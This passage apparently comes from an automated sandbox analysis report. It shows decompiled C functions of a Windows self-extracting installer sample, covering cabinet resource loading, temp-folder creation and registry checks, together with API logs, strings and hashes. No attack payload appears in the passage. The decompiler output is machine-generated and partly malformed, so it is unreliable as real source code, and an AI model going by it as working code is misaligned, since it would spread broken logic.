					__imp__#22(_t34, "*MEMCAB", 0xf31140, 0, E00F34CD0, 0, 0xf39140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0xf38584; // 0x0
					E00F344B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0xf39140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0xf39140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0xf391d8; // 0x0
						if(_t47 == 0) {
							E00F344B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0xf38a38 & 0x00000001) == 0 && ( *0xf39a34 & 0x00000001) == 0) {
						SendMessageA( *0xf38584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00f34fe0
0x00f34fe6
0x00f34ff9
0x00f3500d
0x00f35013
0x00f3501a
0x00f35163
0x00f35163
0x00f35020
0x00f35027
0x00f35037
0x00f35051
0x00f35051
0x00f35057
0x00f3505e
0x00f350a7
0x00f350ad
0x00f350b4
0x00f350e8
0x00f350e8
0x00f350ee
0x00f350ff
0x00f35104
0x00f35106
0x00000000
0x00f35106
0x00f350cd
0x00f350d3
0x00f350da
0x00000000
0x00000000
0x00f350dd
0x00f350e6
0x00000000
0x00000000
0x00000000
0x00f35060
0x00f35060
0x00f35070
0x00f35075
0x00f35107
0x00f35107
0x00f3510e
0x00f35111
0x00f35117
0x00f35117
0x00f3511f
0x00f35121
0x00f35127
0x00f35135
0x00f35135
0x00f35127
0x00f35141
0x00f35159
0x00f35159
0x00000000
0x00f3515f

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00F34FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00F35006
LockResource.KERNEL32(00000000), ref: 00F3500D
GetDlgItem.USER32(00000000,00000842), ref: 00F35030
ShowWindow.USER32(00000000), ref: 00F35037
GetDlgItem.USER32(00000841,00000005), ref: 00F3504A
ShowWindow.USER32(00000000), ref: 00F35051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00F35111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00F35159

Strings

*MEMCAB, xrefs: 00F350C7
CABINET, xrefs: 00F34FE6, 00F34FF7

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 2c99b5735833c1949fe1692f5b6331ce9b042078422ce63298a6df6ccdc37a08
Instruction ID: 663da06252f018073ef754636364ac6e542085de5f38a7ed94d222ece9f254d9
Opcode Fuzzy Hash: 2c99b5735833c1949fe1692f5b6331ce9b042078422ce63298a6df6ccdc37a08
Instruction Fuzzy Hash: 7331E9B0B4470A7BD7207B62AD89F67366EB744BB5F040024FD41A21A1DBF9EC00BA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F353A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00F353A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0xf38004; // 0xc69e30f7
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E00F3171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00F31680(_t32, 0x104, _t20);
					E00F3658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00F36CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0xf38a20 = 1;
				goto L5;
			}

0x00f353ac
0x00f353b3
0x00f353b9
0x00f353bb
0x00f353bd
0x00f353bf
0x00f353d1
0x00f353d6
0x00f353e0
0x00f353e2
0x00f353f5
0x00f353fb
0x00f35402
0x00f3540b
0x00000000
0x00000000
0x00f35413
0x00000000
0x00000000
0x00f35415
0x00f35416
0x00f35427
0x00f3542a
0x00f3542b
0x00f35434
0x00f35434
0x00f3543a
0x00f3544c
0x00f3544c
0x00f35452
0x00f3545a
0x00000000
0x00000000
0x00f3545e
0x00f3545f
0x00000000

APIs

Part of subcall function 00F3171E: _vsnprintf.MSVCRT ref: 00F31750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F353FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35402
GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35452

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F353B7, 00F353E1, 00F3541E
IXP%03d.TMP, xrefs: 00F353C0
IXP, xrefs: 00F35419

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-1231568684
Opcode ID: 36ba9fc2ab00bf384b808ab713d420ed779282bf6471af8ead029b980d46f88d
Instruction ID: 8e49f893279f36dbc623c9404a303f9ca69e727fce39127a5cc24555be1de08c
Opcode Fuzzy Hash: 36ba9fc2ab00bf384b808ab713d420ed779282bf6471af8ead029b980d46f88d
Instruction Fuzzy Hash: C811E7B170060877D7289B369C49FEF766EEFC5731F000125F986D2290DE788946A6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F35467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00F35467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0xf38004; // 0xc69e30f7
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0xf391e4;
					_t42 = 0x104;
					E00F31680(0xf391e4, 0x104);
					L14:
					_t13 = E00F358C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0xf39124 = 0;
							_t14 = 1;
							L24:
							return E00F36CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E00F3597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0xf38a20; // 0x0
						if(_t61 != 0) {
							 *0xf38a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0xf39124 = E00F36285();
						goto L22;
					}
					 *0xf38a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E00F353A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0xf391e4;
				E00F31781(0xf391e4, 0x104, __ecx,  &_v268);
				if(( *0xf39a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E00F3658A(_t48, 0x104, 0xf31140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E00F3658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00f35472
0x00f35479
0x00f35481
0x00f35484
0x00f3551c
0x00f35521
0x00f35528
0x00f3552d
0x00f3552f
0x00f35539
0x00f3554d
0x00f3554d
0x00f35552
0x00f35585
0x00f35585
0x00f3558b
0x00f3558d
0x00f3559d
0x00f3559d
0x00f35557
0x00f3555e
0x00000000
0x00000000
0x00f35560
0x00f35566
0x00f35569
0x00f3556f
0x00f3556f
0x00f35581
0x00f35581
0x00000000
0x00f35581
0x00f35545
0x00f3557c
0x00000000
0x00f3557c
0x00f35547
0x00000000
0x00f35547
0x00f3548a
0x00f35490
0x00f35497
0x00000000
0x00000000
0x00f3549d
0x00f354ab
0x00f354b4
0x00f354c0
0x00f3550c
0x00f35511
0x00f35515
0x00000000
0x00f35515
0x00f354c9
0x00f354d6
0x00f354d8
0x00f354fe
0x00f35503
0x00f35507
0x00000000
0x00f35507
0x00f354da
0x00f354dd
0x00f354f7
0x00000000
0x00f354f7
0x00f354df
0x00f354e2
0x00f354f0
0x00000000
0x00f354f0
0x00f354e7
0x00000000
0x00000000
0x00f354e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F354C9
CreateDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3553D
RemoveDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3556F

Part of subcall function 00F353A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F353FB
Part of subcall function 00F353A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35402
Part of subcall function 00F353A1: GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3541F
Part of subcall function 00F353A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3542B
Part of subcall function 00F353A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35434

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F3547D, 00F35481, 00F354AB, 00F3551C, 00F3553C, 00F35568
alpha, xrefs: 00F354F0
ppc, xrefs: 00F354E9
i386, xrefs: 00F354FE
mips, xrefs: 00F354F7

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-4535649
Opcode ID: 7f03e25f85b0b63b1eae187042d6ca14dd58b4610852eaa2f4b9296f9c7d4c6d
Instruction ID: 3ed59096674eeb78ab7a14ea52c63fa903b03ec721b413abd40f816d93241a38
Opcode Fuzzy Hash: 7f03e25f85b0b63b1eae187042d6ca14dd58b4610852eaa2f4b9296f9c7d4c6d
Instruction Fuzzy Hash: BA310871F00A046BCF54AF259C456BE779BBBC1B74F08012AE442D7240DBB8DE05B691

Uniqueness

Uniqueness Score: -1.00%

Function 00F3256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00F3256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E00F324E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00f32572
0x00f32573
0x00f32575
0x00f32578
0x00f3257d
0x00f32627
0x00f32583
0x00f32586
0x00f32589
0x00f325eb
0x00f32607
0x00000000
0x00f32609
0x00f3261a
0x00000000
0x00f3261a
0x00000000
0x00f3258b
0x00f3258b
0x00f3259e
0x00f325b2
0x00f325ba
0x00f325cb
0x00f325d1
0x00f325d6
0x00f325da
0x00f325dd
0x00f325dd
0x00f325e3
0x00f325e3
0x00f325e3
0x00f3258b
0x00f32589
0x00f3262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000036,00F34096,00F34096,?,00F31ED3,00000001,00000000,?,?,00F34137,?), ref: 00F325B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00F34096,?,00F31ED3,00000001,00000000,?,?,00F34137,?,00F34096), ref: 00F325CB
RegCloseKey.KERNELBASE(?,?,00F31ED3,00000001,00000000,?,?,00F34137,?,00F34096), ref: 00F325DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000036,00F34096,00F34096,?,00F31ED3,00000001,00000000,?,?,00F34137,?), ref: 00F325FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00F34096,00000000,00000000,00000000,00000000,?,00F31ED3,00000001,00000000), ref: 00F3261A

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 00F325A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00F325F5
PendingFileRenameOperations, xrefs: 00F325C3

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: a69f69c42e7c1e748b1ad38ef6a297c498b4fdef57b236ec8b323a9e50ff31a9
Instruction ID: d4c6ca512c67857df642781a9207db5d674aa95d28c01e1b7415723cbb3a20a1
Opcode Fuzzy Hash: a69f69c42e7c1e748b1ad38ef6a297c498b4fdef57b236ec8b323a9e50ff31a9
Instruction Fuzzy Hash: 97118CB5D02228BB9B64DB929C0ADFBBE7CEF117B1F144055B848A2100DB709F45F6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F36A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00F37155();
				_push(0x58);
				_push(0xf372b8);
				E00F37208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0xf388b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0xf388b0; // 0x2
						if(__eflags != 0) {
							 *0xf381e4 = _t58;
							goto L13;
						} else {
							 *0xf388b0 = _t58;
							_t37 = E00F36C3F(0xf310b8, 0xf310c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00F36FF4();
						L13:
						_t68 =  *0xf388b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0xf310b4);
							_push(0xf310ac);
							L00F37202();
							 *0xf388b0 = 2;
						}
						if(_t53 == 0) {
							 *0xf388ac = 0;
						}
						_t71 =  *0xf388b4;
						if( *0xf388b4 != 0 && E00F37060(_t71, 0xf388b4) != 0) {
							_t60 =  *0xf388b4; // 0x0
							 *0xf3a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x76725b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00F32BFB(0xf30000, 0, _t59); // executed
							 *0xf381e0 = _t30;
							__eflags =  *0xf381f8;
							if( *0xf381f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0xf381e4;
							if( *0xf381e4 == 0) {
								__imp___cexit();
								_t30 =  *0xf381e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E00F3724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00f36a60
0x00f36a6a
0x00f36a6c
0x00f36a71
0x00f36a78
0x00f36a7f
0x00f36a85
0x00f36a8e
0x00f36a91
0x00f36a93
0x00f36a9c
0x00f36aa2
0x00000000
0x00000000
0x00f36aa6
0x00f36ab4
0x00000000
0x00f36aa8
0x00f36aaa
0x00f36aab
0x00f36aab
0x00f36abf
0x00f36abf
0x00f36ac5
0x00f36ad1
0x00f36ad7
0x00f36b05
0x00000000
0x00f36ad9
0x00f36ad9
0x00f36ae9
0x00f36af0
0x00f36af2
0x00000000
0x00f36af4
0x00f36af4
0x00f36afb
0x00f36afb
0x00f36af2
0x00f36ac7
0x00f36ac7
0x00f36ac9
0x00f36b0b
0x00f36b0b
0x00f36b11
0x00f36b13
0x00f36b18
0x00f36b1d
0x00f36b24
0x00f36b24
0x00f36b30
0x00f36b39
0x00f36b39
0x00f36b3b
0x00f36b42
0x00f36b57
0x00f36b5f
0x00f36b65
0x00f36b65
0x00f36b67
0x00f36b6c
0x00f36b6e
0x00f36b71
0x00f36b74
0x00f36b74
0x00f36b79
0x00000000
0x00000000
0x00f36b7d
0x00f36b81
0x00000000
0x00000000
0x00f36b83
0x00f36b8c
0x00f36b8d
0x00f36b90
0x00f36b90
0x00f36b83
0x00f36b81
0x00f36b94
0x00f36b98
0x00f36ba2
0x00f36b9a
0x00f36b9a
0x00f36b9a
0x00f36ba3
0x00f36bab
0x00f36bb0
0x00f36bb5
0x00f36bbc
0x00f36bbf
0x00000000
0x00f36bbf
0x00f36c1e
0x00f36c25
0x00f36c27
0x00f36c2d
0x00f36c2d
0x00f36c32
0x00000000
0x00f36bc5
0x00f36bc5
0x00f36bc8
0x00f36bcc
0x00f36bce
0x00f36bce
0x00f36bd1
0x00f36bd3
0x00f36bd3
0x00f36bd6
0x00f36bda
0x00f36be1
0x00f36be3
0x00f36be5
0x00f36be5
0x00f36be6
0x00f36be6
0x00f36be9
0x00f36bea
0x00f36bea
0x00f36b74
0x00f36c39
0x00f36c3e
0x00f36c3e
0x00f36abe
0x00f36abe
0x00000000

APIs

Part of subcall function 00F37155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F37182
Part of subcall function 00F37155: GetCurrentProcessId.KERNEL32 ref: 00F37191
Part of subcall function 00F37155: GetCurrentThreadId.KERNEL32 ref: 00F3719A
Part of subcall function 00F37155: GetTickCount.KERNEL32 ref: 00F371A3
Part of subcall function 00F37155: QueryPerformanceCounter.KERNEL32(?), ref: 00F371B8

GetStartupInfoW.KERNEL32(?,00F372B8,00000058), ref: 00F36A7F
Sleep.KERNEL32(000003E8), ref: 00F36AB4
_amsg_exit.MSVCRT ref: 00F36AC9
_initterm.MSVCRT ref: 00F36B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00F36B49
exit.KERNELBASE ref: 00F36BBF
_ismbblead.MSVCRT ref: 00F36BDA

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 147df4b3bb82d547ba7432e5c0247cc0cb8bfce553d47526182dba69938d38d0
Instruction ID: 01a0cf62179697f87c2ed5ea5047708616ee9071bfda85cfd6205bb8d24ff13b
Opcode Fuzzy Hash: 147df4b3bb82d547ba7432e5c0247cc0cb8bfce553d47526182dba69938d38d0
Instruction Fuzzy Hash: 8041D571D48328EBDB21AB68DC0576AB7E5FB84771F24811AF841E7290CB788942BF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F358C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00F358C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00F31680(_t20, _t36, _t33);
					E00F3658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0xf39124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E00F344B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0xf39124 = E00F36285();
